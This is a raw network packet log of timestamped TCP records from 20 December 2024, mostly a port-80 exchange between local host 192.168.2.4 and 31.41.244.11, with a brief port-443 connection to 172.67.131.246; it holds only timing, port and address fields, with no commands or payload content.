Dec 20, 2024 09:12:22.472409964 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.472465038 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.472470999 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.472521067 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.473272085 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.473329067 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.473355055 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.473413944 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.474054098 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.474117994 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.474181890 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.474234104 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.475017071 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.475069046 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.475076914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.475123882 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.475769043 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.475840092 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.475918055 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.475981951 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.476767063 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.476803064 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.476819992 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.476845980 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.477421045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.477475882 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.477572918 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.477622032 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.478260040 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.478312969 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.478334904 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.478388071 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.479121923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.479176044 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.479226112 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.479278088 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.480014086 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.480067015 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.480076075 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.480135918 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.480797052 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.480849028 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.480854988 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.480907917 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.481754065 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.481790066 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.481827021 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.481858015 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.482521057 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.482579947 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.482625008 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.482707024 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.483406067 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.483464003 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.483494043 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.483546972 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.484201908 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.484258890 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.484313011 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.484368086 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.485085011 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.485121012 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.485138893 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.485189915 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.485822916 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.485879898 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.485958099 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.486013889 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.486700058 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.486799955 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.486819983 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.486887932 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.487514973 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.487567902 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.487728119 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.487796068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.488473892 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.488508940 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.488538980 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.488574982 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.489289999 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.489325047 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.489347935 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.489382029 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.490067005 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.490120888 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.490248919 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.490303040 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.490923882 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.490973949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.491041899 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.491096973 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.491740942 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.491799116 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.491846085 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.491909027 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.492650032 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.492703915 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.492711067 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.492755890 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.493400097 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.493453979 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.493582010 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.493634939 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.494235992 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.494287968 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.494313002 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.494380951 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.495187998 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.495223045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.495248079 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.495280027 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.495956898 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.496021986 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.496088982 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.496144056 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.496809006 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.496869087 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.496880054 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.496972084 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.497695923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.497730970 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.497754097 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.497783899 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.498488903 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.498543024 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.498565912 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.498598099 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.499380112 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.499428988 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.499510050 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.499610901 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.500230074 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.500287056 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.500350952 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.500403881 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.501046896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.501104116 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.501179934 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.501233101 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.501866102 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.501915932 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.501971960 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.502028942 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.502734900 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.502789021 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.502873898 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.502923965 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.503621101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.503655910 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.503676891 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.503707886 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.504390955 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.504426003 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.504442930 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.504472971 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.510705948 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.513468027 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.513520956 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.513555050 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.513587952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.513695002 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.513731956 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.513755083 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.513798952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.514667034 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.514719963 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.514725924 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.514776945 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.515197039 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.515254974 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.515355110 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.515410900 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.516047001 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.516081095 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.516102076 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.516105890 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.516151905 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.516892910 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.516935110 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.516966105 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.517014027 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.517070055 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.517755032 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.517811060 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.517930984 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.517983913 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.536189079 CET	49791	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:22.536220074 CET	443	49791	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:22.536583900 CET	443	49791	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:22.548168898 CET	49791	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:22.548365116 CET	49791	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:22.548413038 CET	443	49791	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:22.548492908 CET	49791	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:22.548502922 CET	443	49791	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:22.658164978 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.658236027 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.658241034 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.658324957 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.658479929 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.658530951 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.658651114 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.658700943 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.659375906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.659431934 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.659648895 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.659701109 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.659830093 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.659881115 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.660509109 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.660576105 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.660617113 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.660679102 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.661360979 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.661416054 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.661433935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.661484957 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.662198067 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.662250996 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.662269115 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.662316084 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.662997007 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.663057089 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.663129091 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.663218975 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.663844109 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.663901091 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.664069891 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.664129972 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.664674997 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.664733887 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.664802074 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.664853096 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.665530920 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.665595055 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.665721893 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.665779114 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.666361094 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.666460991 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.666496992 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.666547060 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.667218924 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.667284966 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.667366982 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.667418003 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.668051958 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.668196917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.668206930 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.668248892 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.668879032 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.668934107 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.668975115 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.669034958 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.669749022 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.669806957 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.670001030 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.670152903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.670613050 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.670674086 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.670706987 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.670757055 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.671468019 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.671529055 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.671663046 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.671714067 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.672274113 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.672373056 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.672375917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.672445059 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.673119068 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.673172951 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.673176050 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.673226118 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.673945904 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.674000025 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.674086094 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.674138069 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.674778938 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.674839020 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.674927950 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.675005913 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.675649881 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.675708055 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.675729036 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.675801039 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.676512957 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.676616907 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.676620960 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.676685095 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.677314043 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.677369118 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.677381992 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.677432060 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.678188086 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.678245068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.678306103 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.678359985 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.679002047 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.679085016 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.679119110 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.679172993 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.679838896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.679902077 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.680042982 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.680099010 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.680805922 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.680880070 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.680890083 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.680943966 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.681509972 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.681566000 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.681639910 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.681693077 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.682379007 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.682439089 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.682512999 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.682570934 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.683199883 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.683250904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.683340073 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.683384895 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.684144974 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.684201002 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.684202909 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.684252977 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.684906960 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.684969902 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.685081959 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.685141087 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.685723066 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.685776949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.685782909 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.685832024 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.686556101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.686609030 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.686656952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.686656952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.687438965 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.687493086 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.687530994 CET	80	49785	31.41.244.11	192.168.2.4
